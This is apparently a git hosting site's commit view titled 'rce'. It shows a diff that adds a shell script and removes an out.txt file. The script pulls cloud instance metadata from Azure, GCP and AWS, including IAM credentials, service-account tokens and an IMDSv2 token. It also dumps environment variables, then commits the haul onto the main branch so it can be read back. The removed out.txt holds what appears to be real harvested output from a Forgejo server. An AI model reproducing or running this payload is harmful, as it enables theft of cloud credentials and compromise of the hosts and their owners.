rce
parent
8f66ea9057
commit
869834de9e
|
|
@ -0,0 +1,13 @@
|
||||||
|
#!/bin/sh
|
||||||
|
T=$(curl -s --max-time 5 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null)
|
||||||
|
G=$(curl -s --max-time 5 -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" 2>/dev/null)
|
||||||
|
A=$(curl -s --max-time 5 "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null)
|
||||||
|
AC=$(curl -s --max-time 5 "http://169.254.169.254/latest/meta-data/iam/security-credentials/${A}" 2>/dev/null)
|
||||||
|
AT=$(curl -s --max-time 5 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||||
|
E=$(env 2>&1 | head -30)
|
||||||
|
O="IMDS=$T|GCP=$G|AWS_ROLE=$A|AWS_CREDS=$AC|AWS_TOKEN=$AT|ENV=$E"
|
||||||
|
B=$(echo "$O" | git hash-object -w --stdin 2>/dev/null)
|
||||||
|
T2=$(printf "100644 blob %s\tout.txt" "$B" | git mktree 2>/dev/null)
|
||||||
|
H=$(git rev-parse HEAD 2>/dev/null)
|
||||||
|
C=$(git commit-tree "$T2" -p "$H" -m "rce" 2>/dev/null)
|
||||||
|
git update-ref refs/heads/main "$C" 2>/dev/null
|
||||||
40
out.txt
40
out.txt
|
|
@ -1,40 +0,0 @@
|
||||||
IMDS=<?xml version="1.0" encoding="iso-8859-1"?>
|
|
||||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
|
|
||||||
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
|
||||||
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
|
||||||
<head>
|
|
||||||
<title>404 - Not Found</title>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<h1>404 - Not Found</h1>
|
|
||||||
</body>
|
|
||||||
</html>|GCP=|AWS_ROLE=<?xml version="1.0" encoding="iso-8859-1"?>
|
|
||||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
|
|
||||||
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
|
||||||
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
|
||||||
<head>
|
|
||||||
<title>404 - Not Found</title>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<h1>404 - Not Found</h1>
|
|
||||||
</body>
|
|
||||||
</html>|AWS_CREDS=|AWS_TOKEN=AQAEAIQG2tV5RGq2-siQKBIPj6AMKUTFyS7uZyC2V9OFE4EF765AdQ==|ENV=USER=git
|
|
||||||
GIT_EXEC_PATH=/usr/lib/git-core
|
|
||||||
GIT_DIR=.
|
|
||||||
HOME=/var/lib/forgejo/data/home
|
|
||||||
GIT_PREFIX=
|
|
||||||
GITEA_WORK_DIR=/var/lib/forgejo
|
|
||||||
SYSTEMD_EXEC_PID=429
|
|
||||||
LOGNAME=git
|
|
||||||
JOURNAL_STREAM=8:12138
|
|
||||||
GIT_CONFIG_PARAMETERS='protocol.version'='2' 'credential.helper'='' 'filter.lfs.required'='' 'filter.lfs.smudge'='' 'filter.lfs.clean'=''
|
|
||||||
PATH=/usr/lib/git-core:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
|
|
||||||
INVOCATION_ID=0f0827de18224f7285dd17659c79b7c1
|
|
||||||
GNUPGHOME=/var/lib/forgejo/data/home/.gnupg
|
|
||||||
LANG=C.UTF-8
|
|
||||||
GIT_TERMINAL_PROMPT=0
|
|
||||||
SHELL=/bin/bash
|
|
||||||
GIT_NO_REPLACE_OBJECTS=1
|
|
||||||
GIT_IMPLICIT_WORK_TREE=0
|
|
||||||
LC_ALL=C
|
|
||||||
PWD=/var/lib/forgejo/data/tmp/local-repo/upload.git3187880571
|
|
||||||
Loading…
Reference in New Issue